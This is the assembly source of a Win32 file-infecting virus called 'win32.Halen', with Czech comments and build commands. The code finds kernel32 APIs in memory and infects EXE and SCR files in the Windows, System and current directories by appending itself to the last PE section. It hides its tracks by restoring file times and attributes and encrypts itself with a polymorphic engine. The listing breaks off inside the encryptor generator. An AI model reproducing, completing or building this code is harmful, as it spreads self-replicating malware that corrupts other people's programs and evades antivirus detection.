;                                                       win32.Halen virus
;                                                    (C)reated by pxR[MIONS] 
;                                                          January 2k+1      ł
;                                                     ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŮ
;
;
; Uvodem 
;  ÄÄÄÄÄÄŮ
;Dovolte me abych vam predstavil jeden z mych lame viru :) (muj prvni pod win)
;Tohle je win32 nerezidentrni PE infektor - prilepi se na konec PE souboru
;(zvetseni posledni sekce). Je to kodovanej virus jakymsi shit poly algoritmem :), 
;kterej jsem tak nejak narychlo sepsal. Kazdou sobotu v 19:xx (nebo 20:xx podle 
;rocniho obdobi ;) to zobrazi dialog a po jeho potvrzeni to zacne odsouvat obraz 
;doprava se zmenou pozadi.
;
; Jak kompilovat? 
;  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŮ
; tasm32 /m3 /ml Halen.asm,,;
; tlink32 /Tpe /aa Halen,Halen,,import32.lib
; pewrsec Halen.exe
;
;
; Par slov o tom, jak funguje ten poly shit (nic zajimavyho!): 
;  ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŮ
;de/en crypt rutina je tvorena nahodne generovanymi instrukcemi ADD, SUB, XOR, ROR a
;ROL. 
;
;Na zacatku decrypt rutiny jsou vzdy istrukce: 
;CALL 0000000; POP EDI; ADD EDI,xxxxxxxx; MOV ESI,EDI; XOR EBP,EBP; CLD; LODSD; 
;
;Na konci decrypt rutiny jsou vzdy istrukce: 
;STOSD; INC EBP,xxxx; CMP EBP,xxxx; JNE xxxxxxxx
;
;Encrypt rutina vypada jinak. Neobsahuje uvodni (init) instrukce (CALL az LOSDS) a
;koncove instrukce (STOSD az JNE). Na jejim konci je RET. Pri kodovani pak vlozime
;do EAX hodnotu, kterou chceme zakodovat, provedeme CALL na tuto rutinu a obdrzime
;v EAX zakodovanou hodnotu.
;
;Registr, se kterym jsou provadeny instrukce ADD az ROL (pracovni registr) je volen 
;nahodne a muze byt uvnitr de/en crypt rutiny kdykoliv menen. Vybira se z 
;registru EAX az EDX.
;
;Nejdrive se vygeneruji data pro de/en crypt rutinu.
;napr:
;      87D0 82EAC28F 81C2EADC7143A0 87C9C990 C0C9C187 ...... 87C1
;                                   ^zmena prac. registru
;Na zacatku a na koci dat jsou vzdy 2 byty - instrukce XCHG prac.reg.,EAX (zacatek) a
;XCHG EAX,prac.reg. (konec). Jsou nutne k provadeni instrukci LODSD a STOSD.
;Po pocatecnim XCHG (2 byty) zacinaji vlastni data. 1. byte specifikuje instrukci
;dale nasleduje 2 byty, ktere specifikuji registr, ktery se pouzije. Jeden byte pro 
;decrypt a druhy pro encrypt rutinu (pouzije se vzdy jen jeden podle toho, jakou 
;rutinu chceme vygenerovat). Dale uz nasleduji data (1 nebo 4 byty - zalezi na 
;instrukci).
;
;Potom je z techto dat vytvarena bud encrypt rutina nebo decrypt rutina (viz vyse)


;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű                             A TADY JE TEN BROUCEK                          Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ

.386p
.model flat

extrn        ExitProcess:proc
extrn        MessageBoxA:proc

.data
  FGMessage   db 'This is win32.Halen, a PE infector created by pxR[MIONS]',0h
  FGTitle     db 'win32.Halen',0
  
.code

  debug equ 1  ;!!!!!!

Start:
             cld                                     ;
             call OffsetTrick                        ;Starej dobrej offset trik
OffsetTrick: pop ebp                                 ;
             sub ebp,offset OffsetTrick              ;
             pushad                                  ;Ulozit registry (pro pripad chyby)
             lea eax,[ebp+offset ExceptHndl]         ;EAX=VA obsluhy chyby
             push eax                                ;
             push dword ptr fs:[0]                   ;
             mov dword ptr fs:[0],esp                ;Nastavit SEH frame
             mov eax,[ebp+offset origIP]             ;
             mov [ebp+offset retIP],eax              ;
             mov esi,[esp+28h]                       ;Odkud jsme byli volani?
             and esi,0FFFF0000h                      ;Zaokrouhlit na Page
             mov ecx,6h                              ;Opakovat max. 5 krat
 GetK01:     dec ecx                                 ;Dec pocitadlo
             jz Return2Host                          ;5. pokus?
             cmp word ptr [esi],'ZM'                 ;Byla nalezena MZ signatura?
             jz GetK02                               ;yo!
 GetK03:     sub esi,10000h                          ;Ne -> zkusime predchozi Page
             jmp GetK01                              ;Opakujeme
 GetK02:     mov edi,esi                             ;
             mov edx,esi                             ;Uschovat nalezenou VA kernelu
             add edi,[esi+3Ch]                       ;Posunem na zacatek PE headeru
             cmp word ptr [edi],'EP'                 ;Je to PE ?
             jz GetKOK                               ;yo -> mame kernel
             jmp GetK03                              ;ne -> hledame dal
 ExceptHndl:                                         ;
             mov esp,[esp+8]                         ;Obnovit puvodni ESP
 Return2Host:                                        ;
             pop dword ptr fs:[0]                    ;Obnovit SEH frame
             add esp,4                               ;Jeste ESP
             popad                                   ;Registry
             cmp ebp,0                               ;Prvni generace viru?
             je VirusEnd                             ;yo -> ukaz dialog
             lea ebx,[ebp+offset Start]              ;Vypocet originalni startIP
             sub ebx,[ebp+offset retIP]              ;
             jmp ebx                                 ;Navrat k hostiteli
     retIP dd ?                                      ;

 GetKOK:                                             ;
             xchg esi,edi                            ;
             mov [ebp+offset K32VA],edi              ;Ulozime nalezenou VA kernelu
             mov esi,[esi+78h]                       ;ESI=RVA na export table kernelu
             add esi,edi                             ;Prevedem RVA na VA
             add esi,18h                             ;
             lodsd                                   ;Number of Exported Names
             mov [ebp+offset K32EOMax],eax           ;Ulozit
             lodsd                                   ;Export Adress Table RVA
             add eax,edi                             ;RVA na VA
             mov [ebp+offset K32EAT],eax             ;Ulozit
             lodsd                                   ;Export Name Pointers Table RVA
             add eax,edi                             ;RVA na VA
             mov [ebp+offset K32ENPT],eax            ;Ulozit
             lodsd                                   ;Export Ordinals RVA
             add eax,edi                             ;RVA na VA
             mov [ebp+offset K32EO],eax              ;Ulozit
             lea esi,[ebp+offset APITableStr]        ;ESI=VA jmena prvni hledane API
             lea edi,[ebp+offset APITableVA]         ;EDI=VA tabulky VA API

;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű                             HLEDANI API FUNKCI                             Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ
 FindAllAPIs:
             lodsb                                   ;AL=delka nazvu API
             cmp al,0                                ;Konec?
             je FindAPIsOK                           ;yo -> hotovka
             movzx ecx,al                            ;ECX=AL
             push edi                                ;Uschovat EDI
             call FindAPIVA                          ;Hledat API!
             xchg esi,edi                            ;ESI<->EDI :)
             pop edi                                 ;Obnovit EDI
             test eax,eax                            ;API nenalezena (chyba)
             jz Return2Host                          ;Navrat do hostitele
             stosd                                   ;Ulozit nalezenou VA do tabulky
             jmp FindAllAPIs                         ;Hledat dalsi
                          
 FindAPIVA:                                          ;Vstupni parametry:
             xchg edi,esi                            ;   -esi=VA API jmena
             mov esi,[ebp+offset K32ENPT]            ;   -ecx=delka API jmena
             xor edx,edx                             ;Vynulovat pocitadlo
 FindAPI00:                                          ;ESI=Export Name Pointer Table VA
             lodsd                                   ;EAX=API name RVA
             add eax,[ebp+offset K32VA]              ;RVA na VA
             push esi                                ;Uschovat registry
             push edi                                ;
             push ecx                                ;
             push edx                                ;
             xchg eax,esi                            ;
             rep cmpsb                               ;Porovnat s nalezenym jmenem
             pop edx                                 ;Obnovit registry
             pop ecx                                 ;
             pop edi                                 ;
             pop esi                                 ;
             jz FindAPI01                            ;100% shodne -> nalezeno
             inc edx                                 ;Neshoduji se -> inc Pocitadlo
             cmp edx,[ebp+offset K32EOMax]           ;Prozkouseny vsechny Export. names?
             jae APINotFnd                           ;yo -> chyba
             jmp FindAPI00                           ;Zkusit dalsi nazev
 FindAPI01:                                          ;
             shl edx,1                               ;EDX=EDX*2
             mov esi,[ebp+offset K32EO]              ;
             add esi,edx                             ;ESI=offset K32EO+EDX
             xor eax,eax                             ;EAX=0 :)
             lodsw                                   ;EAX=API ordinal
             shl eax,2                               ;EAX=EAX*4
             mov esi,[ebp+offset K32EAT]             ;
             add esi,eax                             ;ESI=offset K32EAT+EAX
             lodsd                                   ;EAX=RVA k API
             add eax,[ebp+offset K32VA]              ;RVA na VA
             add edi,ecx                             ;EDI posunem na dalsi nazev API
             ret                                     ;Hotovo!

 APINotFnd:  xor eax,eax                             ;Nenalezeno -> EAX=0
             ret                                     ;Zpet

 FindAPIsOK:                                         ;
             call PayLoad                            ;Pust payload
             if debug                                ;Pokud je debug=1 budem infikovat
                lea esi,[ebp+testFName]              ;jen soubor test.exe
                call InfectCurrDir                   ;Infikuj aktualni adresar
                jmp Return2Host                      ;Navrat do hostitele
             endif                                   ;
             lea eax,[ebp+offset origDir]            ;Ulozime si aktualni adresar
             push eax                                ;
             push eax                                ;
             push 128h                               ;Max delka cesty
             call [ebp+offset GetCurrentDirectoryAVA];Zjistit aktualni adresar
             lea ebx,[ebp+offset currDir]            ;
             mov eax,[ebp+offset GetWindowsDirectoryAVA] ;Budeme menit adresar na WINDOWS
             call ISCh                                   ;Zmenit adresar & infikovat
             mov eax,[ebp+offset GetSystemDirectoryAVA]  ;Ted na WINDOWS\SYSTEM
             call ISCh                                   ;Zmenit adresar & infikovat
             call [ebp+offset SetCurrentDirectoryAVA]    ;Vratime puvodni adresar
             call ISCurr                                 ;A infikujem soubory v nem
             jmp Return2Host                             ;Navrat do hostitele

;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű                                INFEKCE ADRESARE                            Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ
 ISCh:            
             push 128h                               ;Maximalni delka
             push ebx                                ;VA nazvu adresare
             call eax                                ;Zjistit nazev (viz vyse)
             push ebx                                ;
             call [ebp+offset SetCurrentDirectoryAVA] ;Zmenit adresar
 ISCurr:                                             ;
             push ebx                                ;Uschovat pointer na nazev adresare
             lea esi,[ebp+offset exeMask]            ;Soubory *.EXE
             call InfectCurrDir                      ;Infikuj aktualni adresar 
             lea esi,[ebp+offset scrMask]            ;Soubory *.SCR
             call InfectCurrDir                      ;Infikuj aktualni adresar 
             pop ebx                                 ;Vytahnout pointer
             ret                                     ;Hotovka
 InfectCurrDir:                                      ;
             mov byte ptr [ebp+offset infCounter],3h ;Nastavit pocitadlo souboru
             lea eax,[ebp+offset FSearch]            ;EAX=offset Search record
             push eax                                ;
             push esi                                ;
             call [ebp+offset FindFirstFileAVA]      ;Najit prvni odpovidajici soubor
             inc eax                                 ;Chyba ?
             jz ICD01                                ;
             dec eax                                 ;Ne
             mov edx,eax                             ;Ulozit Handle
   ICD00:                                            ;
             test eax,eax                            ;Nalezen soubor?
             jz ICD01                                ;Ne -> konec
             xchg eax,edx                            ;Uschovat Handle
             lea esi,[ebp+offset FSearch.FName]      ;
             push eax                                ;Uschovat registry
             push esi                                ;
             call InfectFile                         ;Infikovat nalezenej soubor
             pop edi                                 ;Obnovit registry
             pop eax                                 ;
             test esi,esi                            ;Je pocitadlo nulovy? (viz nize)
             jz ICD01                                ;yo -> konec
             push eax                                ;Uschovat handle
             lea ebx,[ebp+offset FSearch]            ;
             push ebx                                ;
             push eax                                ;
             call [ebp+offset FindNextFileAVA]       ;Najit dalsi soubor
             pop edx                                 ;Obnovit handle
             jmp ICD00                               ;A zas od zacatku!
   ICD01:                                            ;
             ret                                     ;Infekce adresare hotova!

;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű                               INFIKACE SOUBORU                             Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ
 InfectFile:                                         ;
             mov eax,[ebp+offset FSearch.FSizeL]     ;Zkontrolujem velikost souboru
             cmp eax,4096                            ;
             jb InfError                             ;Mensi nez 4096B -> konec
             cmp eax,5000000                         ;
             ja InfError                             ;Vetsi nez cca 5MB -> konec
             push 00000080h                          ;80h='any file' atribut
             push esi                                ;ESI=VA na jmeno souboru
             call [ebp+offset SetFileAttributesAVA]  ;Nastavit atributy souboru
             inc eax                                 ;
             jz InfError                             ;Chyba?
             xor eax,eax                             ;EAX=0
             push eax                                ;Template handle (vzdy 0)
             push eax                                ;Atributy
             push 00000003h                          ;Open type (3 pro existujici soubor)
             push eax                                ;Security option
             inc eax                                 ;
             push eax                                ;Sharing mode (vzdy 1)
             push 0C0000000h                         ;Access mode (80000000+40000000)
             push esi                                ;^(generic read/write)^
             call [ebp+offset CreateFileAVA]         ;Otevrit soubor
             inc eax                                 ;
             jz RetAttr                              ;Chyba?
             dec eax                                 ;EAX=Handle otevrenyho souboru
             mov [ebp+offset IFHandle],eax           ;Ulozit
             mov ecx,VirSize                         ;ECX=Delka viru (vcetne dat)
             add ecx,[ebp+offset FSearch.FSizeL]     ;ECX=ECX+delka souboru
             add ecx,1000h                           ;plus nejaky misto :)
             mov [ebp+offset mapMem],ecx             ;Ulozit
             xor eax,eax                             ;
             push eax                                ;Filename handle (vzdy 0)
             push ecx                                ;Maximum size (ECX)
             push eax                                ;Minimum size (0)
             push 00000004h                          ;Page access rights (4 pro R/W)
             push eax                                ;Security attributes (vzdy 0)
             push dword ptr [ebp+offset IFHandle]    ;Handle otevrenyho souboru
             call [ebp+offset CreateFileMappingAVA]  ;Alokovat pamet
             cmp eax,0                               ;Nezadarilo se?
             je RetAttr                              ;
             mov [ebp+offset IMHandle],eax           ;Ulozit map handle
             push dword ptr [ebp+offset mapMem]      ;Kolik mapovat
             push 00000000h                          ;File offset high (0) \ kam mapovat
             push 00000000h                          ;File offset low  (0) /
             push 00000002h                          ;Map access mode (2 pro write)
             push eax                                ;Map handle
             call [ebp+offset MapViewOfFileVA]       ;Zavolat API
             cmp eax,0                               ;Vloudila se chybicka?
             je CloseMap                             ;
             xchg esi,eax                            ;ESI=adresa kam se to namapovalo
             lodsw                                   ;EAX=prvni 2 byty souboru
             sub esi,2                               ;Vratime ESI do puvodniho stavu
             mov [ebp+offset mapView],esi            ;Uschovat adresu
             cmp ax,'ZM'                             ;MZ signatura
             jne UnmapView                           ;Ne -> neni to EXE -> pryc!
             mov eax,esi                             ;
             add esi,[esi+3ch]                       ;Posunem se na zacatek PE hlavicky
             push esi                                ;Schovat
             sub esi,eax                             ;
             cmp esi,[ebp+FSearch.FSizeL]            ;Ukazuje ESI mimo rozsah souboru?
             pop esi                                 ;Obnovit
             ja UnmapView                            ;yo -> pryc!!!
             cmp word ptr [esi],'EP'                 ;Je to PE?
             jne UnmapView                           ;Ne -> shit!
             cmp dword ptr [esi+4ch],'NLAH'          ;Znacka zavirovaneho souboru
             je UnmapView                            ;Uz je zavirovan -> pryc
             mov eax,[esi+28h]                       ;
             mov [ebp+offset origIP],eax             ;Uschovat originalni IP
             mov eax,[esi+3ch]                       ;
             mov [ebp+offset fileAlign],eax          ;A taky FileAlign
             mov ebx,[esi+74h]                       ;EBX=pocet zaznamu v DataDir. array
             shl ebx,3                               ;EBX=EBX*8
             movzx ecx,word ptr [esi+6h]             ;ECX=pocet sekci v PE souboru
             dec ecx                                 ;Jednu odectem
             mov eax,28h                             ;
             mul ecx                                 ;EAX=EAX*ECX
             add eax,ebx                             ;
             add eax,78h                             ;78h je konec PE hlavicky
             add eax,esi                             ;EDI ted ukazuje na Section header
             xchg eax,edi                            ;posledni sekce
             mov ecx,[ebp+offset FSearch.FSizeL]     ;ECX=delka souboru
             mov ebx,[edi+14h]                       ;EDX=offset dat posledni sekce
             sub ecx,ebx                             ;ECX-EDX (velikost sekce)
             cmp ecx,[edi+8h]                        ;Porovnat s velikosti v headeru
             jb IGoOn                                ;Je mensi -> OK
             mov [edi+8h],ecx                        ;Vetsi -> upravime
             add [esi+1ch],ecx                       ;Upravit Size of code
             add [esi+50h],ecx                       ;Upravit Image size
     IGoOn:                                          ;
             mov dword ptr [esi+4ch],'NLAH'          ;Nastavit znacku
             or [edi+24h],0A0000020h                 ;Nastavime flags sekce (R/W/Code)
             mov eax,[edi+8h]                        ;EAX=virtualni velikost sekce
             push eax                                ;Uschovat
             add eax,VirSize                         ;EAX=EAX+delka viru vcetne dat
             mov ebx,[ebp+offset fileAlign]          ;EBX=File align
             push eax                                ;Uschovat
             div ebx                                 ;EAX=EAX DIV EBX, EDX=EAX MOD EBX
             pop eax                                 ;Obnovit
             sub ebx,edx                             ;FileAlign-EDX
             mov [edi+8h],eax                        ;Nova Virtual size
             add eax,ebx                             ;
             mov [edi+10h],eax                       ;Nova Size of Raw Data
             pop eax                                 ;Obnovit
             mov ebx,[edi+0ch]                       ;EBX=Virtual address
             add ebx,eax                             ;EBX=EBX+stara virtualni velikost
             mov [esi+28h],ebx                       ;Ulozit novou vstupni IP
             mov edx,[ebp+offset origIP]             ;EDX=originalni vstupni IP
             sub ebx,edx                             ;EBX=rozdil mezi starou a novou IP
             mov [ebp+offset origIP],ebx             ;Ulozit
             mov ecx,VirSize                         ;ECX=delka viru
             add ecx,255                             ;Plus nejaky misto
             add [esi+50h],ecx                       ;Pridat k Image size
             add [esi+1ch],ecx                       ;Pridat k Size of code
             mov edx,[edi+14h]                       ;EDX=ukazatel na data sekce (v souboru)
             add edx,eax                             ;(EAX=puvodni virt. velikost sekce)
             add edx,[ebp+offset mapView]            ;EDX=EDX+VA zacatku obrazu souboru
             xchg edi,edx                            ;EDI<->EDX ;)
             lea esi,[ebp+Start]                     ;ESI=VA zacatku tela viru
             mov ecx,offset CodeEnd-offset Start     ;ECX=delka viru (bez datovyho prostoru)
             call EncryptVirus                       ;Zakodovat a zkopirovat telo
             dec edi                                 ;
             sub edi,[ebp+offset mapView]            ;EDI=EDI-VA zacatku obrazu souboru
             mov [ebp+offset FSearch.FSizeL],edi     ;Ulozit novou delku souboru
             dec byte ptr [ebp+offset infCounter]    ;Snizit pocitadlo infekce
             jnz UnmapView                           ;Pokud neni nula jdeme dal
             xor esi,esi                             ;Jinak ESI=0
  UnmapView:                                         ;
             push dword ptr [ebp+offset mapView]     ;VA obrazu souboru v pameti
             call [ebp+offset UnmapViewOfFileVA]     ;
  CloseMap:                                          ;
             push dword ptr [ebp+offset IMHandle]    ;
             call [ebp+offset CloseHandleVA]         ;Uzavreme map handle
  RetTime:                                           ;
             lea eax,[ebp+offset FSearch.CrTime]     ;EAX=VA puvidniho casu souboru
             push eax                                ;Creation time
             add eax,16                              ;
             push eax                                ;Last write time
             sub eax,8                               ;
             push eax                                ;Last access time
             push dword ptr [ebp+IFHandle]           ;Handle souboru
             call [ebp+offset SetFileTimeVA]         ;Nastavime puvodni casy
             xor eax,eax                             ;
             push eax                                ;How2Move=0 (Od zacatku souboru)
             push eax                                ;Vzdalenost high (vzdy 0)
             push dword ptr [ebp+offset FSearch.FSizeL] ;Vzdalenost low
             push dword ptr [ebp+offset IFHandle]    ;Handle souboru
             call [ebp+offset SetFilePointerVA]      ;Nastavime ukazatel souboru
             push dword ptr [ebp+offset IFHandle]    ;Handle souboru
             call [ebp+offset SetEndOfFileVA]        ;Uriznem soubor
             push dword ptr [ebp+offset IFHandle]    ;Handle souboru
             call [ebp+offset CloseHandleVA]         ;Zavrem soubor
  RetAttr:                                           ;
             push dword ptr [ebp+offset FSearch.FAttr] ;VA atributu souboru
             lea eax,[ebp+offset FSearch.FName]      ;EAX=VA jmena souboru
             push eax                                ;
             call [ebp+offset SetFileAttributesAVA]  ;Nastavit puvodni atributy
  InfError:  ret                                     ;Hotovo!


;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű                               KODOVANI VIRU                                Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ
 EncryptVirus:                                       ;
             push esi                                ;Uschovat registry
             push edi                                ;
             push ecx                                ;
             lea eax,[ebp+offset CryptData]          ;EAX=VA pole dat 
             call BuildCryptData                     ;Vytvorime data pro de/en krypt. rutinu
             xor ebx,ebx                             ;EBX=0
             mov bl,[ebp+offset CryptSize]           ;Pocet instrukci v crypt rutine
             add ebx,36                              ;Plus nejaky init instrukce
             add [ebp+offset origIP],ebx             ;Upravime rozdil IP
             mov edi,[esp+4]                         ;Obnovime ulozeny EDI
             mov ebx,offset CodeEnd-offset Start+1   ;EBX=kolik toho budem kodovat
             xor edx,edx                             ;
             inc edx                                 ;EDX=1 (encrypt)
             call CreateCrypt                        ;Vytvorit encrypt rutinu (na VA EDI)
             pop ecx                                 ;Obnovit registry
             pop edi                                 ;
             pop esi                                 ;
             shr ecx,2                               ;ECX=ECX DIV 4 (kodujem po DWORDech)
             inc ecx                                 ;+1
             push edi                                ;Schovat EDI
             xor ebx,ebx                             ;
             mov bl,byte ptr [ebp+offset CryptSize]  ;EBX=Delka vsech kodovacich instrukci
             add ebx,36                              ;Plus init instrukce
             push edi                                ;Schovat
             add edi,ebx                             ;EDI=EDI+EBX (tam budem ukladat
             pop ebx                                 ;zakodovana data)
    EV00:    lodsd                                   ;EAX=data k zakodovani
             push ebx                                ;Uschovat registry
             push ecx                                ;
             call ebx                                ;Zavolat vytvorenou kodovaci rutinu
             pop ecx                                 ;EAX=zakodovana data
             pop ebx                                 ;Obnovit registry
             stosd                                   ;Ulozit EAX
             dec ecx                                 ;Snizit pocitadlo
             jnz EV00                                ;Hotovo?
             pop eax                                 ;EAX=puvodni EDI (kam sme zacali ukladat)
             push edi                                ;Uschovat EDI (konec zak. tela)
             xchg eax,edi                            ;Prohodit
             mov ebx,offset CodeEnd-offset Start+1   ;EBX=code size
             xor edx,edx                             ;EDX=0 (decrypt)
             call CreateCrypt                        ;Vytvorit decrypt rutinu (na VA EDI)
             pop edi                                 ;Obnovit EDI
             ret                                     ;Hotovo!

;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű                          GENEROVANI DE/ENCRYPT RUTIN                       Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ
 CreateCrypt:                                        ;EDX=0 pro decrypt, 1 pro encrypt
             push ebx                                ;Schovat (EBX=kolik bytu de/kodujem)
             lea esi,[ebp+offset CryptData]          ;ESI=VA nagenerovanych dat
             mov ebx,1                               ;Nastavime pocitadlo
             test edx,edx                            ;Decrypt ?
             jnz CC00                                ;Ne -> pokracujem na CC00
             lea esi,[ebp+offset DecryptStart]       ;yo -> zkopirujem init instrukce
             movsd                                   ;Pretahnout 2xDWORD
             movsd                                   ;
             xor eax,eax                             ;
             mov al,byte ptr [ebp+offset CryptSize]  ;EAX=delka vsech de/encrypt intrukci
             add eax,31                              ;Plus delka init instrukci
             stosd                                   ;Ulozime pozici odkud se dekoduje
             movsd                                   ;A pretahnem zbytek init instrukci
             movsw                                   ;
             mov bl,byte ptr [ebp+offset CryptNr]    ;Nastavime pocitadlo
             call NI                                 ;Nastav ESI na posledni crypt instr.
             add esi,3h                              ;Pridej jeji delku
             add esi,ecx                             ; -||-
    CC00:    movsw                                   ;Pretahni pocatecni nebo
    CC01:                                            ;koncovy XCHG (zalezi na EDX)
             call NI                                 ;Nastav ESI na BLtou crypt instr.
             movsb                                   ;Pretahni prvni byte instrukce
             add esi,edx                             ;Encrypt nebo decrypt registr
             movsb                                   ;Pretahni ho
             test edx,edx                            ;Pokud tvorime decrypt musime
             jnz CC06                                ;upravit ESI
             inc esi                                 ;!!! V ECX je delka instrukce-2!!!
    CC06:    movsb                                   ;Pretahni dalsi byte instrukce
             dec ecx                                 ;Zkopirovano vse?
             jnz CC06                                ;Ne -> val dal
             test edx,edx                            ;Decrypt?
             jnz CC02                                ;Nee -> CC02
             dec bl                                  ;Sniz pocitadlo
             jz CC05                                 ;Vsechny instr. zkopirovany?
             jmp CC01                                ;ne -> Opakujem pro dalsi instr.
    CC02:    inc bl                                  ;Zvys pocitadlo
             cmp bl,byte ptr [ebp+offset CryptNr]    ;Vsechny instr. zkopirovany?
             ja CC05                                 ;yo -> konec
             jmp CC01                                ;ne -> opakujem
    CC05:                                            ;
             pop eax                                 ;Obnov (push EBX na zacatku)
             test edx,edx                            ;Decrypt?
             jnz CC03                                ;Ne -> zkopiruj RET a konec
             lea esi,[ebp+offset CryptData]          ;Zkopiruj XCHG
             movsw                                   ;
             lea esi,[ebp+offset DecryptEnd]         ;Zkopiruj koncove instrukce (CMP)
             movsd                                   ;
             shr eax,2                               ;EAX=EAX DIV 4
             inc eax                                 ;+1
             stosd                                   ;Uloz hodnotu k CMP
             movsw                                   ;Pretahni intr. JNE
             mov eax,0FFFFFFFAh                      ;
             xor ebx,ebx                             ;
             mov bl,byte ptr [ebp+offset CryptSize]  ;EBX=delka crypt instrukci
             add ebx,13                              ;Plus init
             sub eax,ebx                             ;Vypocet skoku JNE
             stosd                                   ;Uloz to
             jmp CC04                                ;Hotovo
    CC03:    mov bl,byte ptr [ebp+offset CryptNr]    ;Pro encrypt prethnem jen XCHG
             call NI                                 ;Nastav ESI na posledni istrukci
             add esi,3h                              ;
             add esi,ecx                             ;Posun ESI za ni
             movsw                                   ;Pretahni ten XCHG
             mov eax,0c3h                            ;EAX=0C3h (RET)
             stosb                                   ;Uloz
    CC04:    ret                                     ;Hotovo

    NI:                                              ;
             push eax                                ;Neznicit EAX!
             lea esi,[ebp+offset CryptData+2]        ;Nastav ESI na 1. istrukci
             xor bh,bh                               ;Nuluj pocitadlo
       NI00:                                         ;
             xor ecx,ecx                             ;ECX=0 ;)
             lodsb                                   ;AL=1 byte instrukce
             cmp al,81h                              ;Je to 6 bytova instrukce?
             jne NI01                                ;
             add esi,3h                              ;ESI=ESI+3
             add ecx,3h                              ;ECX=3
       NI01: add esi,3h                              ;ESI=ESI+3
             add ecx,1h                              ;ECX=ECX+1
             inc bh                                  ;Zvys pocitadlo
             cmp bh,bl                               ;Hledana instrukce?
             jne NI00                                ;Ne -> opakuj!
       NI02: sub esi,ecx                             ;Nastav ESI na zac. instrukce
             sub esi,3h                              ;
             pop eax                                 ;Obnov EAX
             ret                                     ;Zpet!
             
;ŰßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŰ
;Ű                    GENEROVANI DAT PRO DE/ENCRYPT RUTINY                    Ű
;ŰÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŰ
 BuildCryptData:
             mov byte ptr [ebp+offset CryptNr],0     ;Nuluj fsechna pocitadla!!! ;)
             mov byte ptr [ebp+offset CryptSize],0   ;
             call [ebp+offset GetTickCountVA]        ;Init nahodnejch cisel
             xor eax,65432h                          ;
             mov [ebp+offset RandomNr],eax           ;
             call Random                             ;Furt init
             lea edi,[ebp+offset CryptData]          ;EDI=pocatek pole crypt dat
             mov eax,4h                              ;Vygeneruj nahodny cislo
             call Random                             ;mensi nez EAX
             mov ebx,eax                             ;EBX=EAX (pracovni registr)
             mov eax,87h                             ;Instrukce XCHG EAX,prac.reg.
             stosb                                   ;
             mov eax,0c0h                            ;
             add eax,ebx                             ;
             stosb                                   ;Az sem
             mov eax,100                             ;Zvol nahodnou delku rutiny
             call Random                             ;
             mov [ebp+offset CDRandom],eax           ;a uloz ji
   BCD00:                                            ;
             mov eax,6h                              ;Nahodne zvol instrukci
             call Random                             ;
             cmp eax,0                               ;Je to XCHG ?
             jnz BCD01                               ;Ne -> jdi dal
             mov eax,87h                             ;
             stosb                                   ;Uloz 1. byte (87h)
             mov eax,4h                              ;Musime zmenit prac. registr
             call Random                             ;Nahodne zvolime
             push eax                                ;Uschovat
             mov ecx,8                               ;
             mul ecx                                 ;EAX=EAX*8
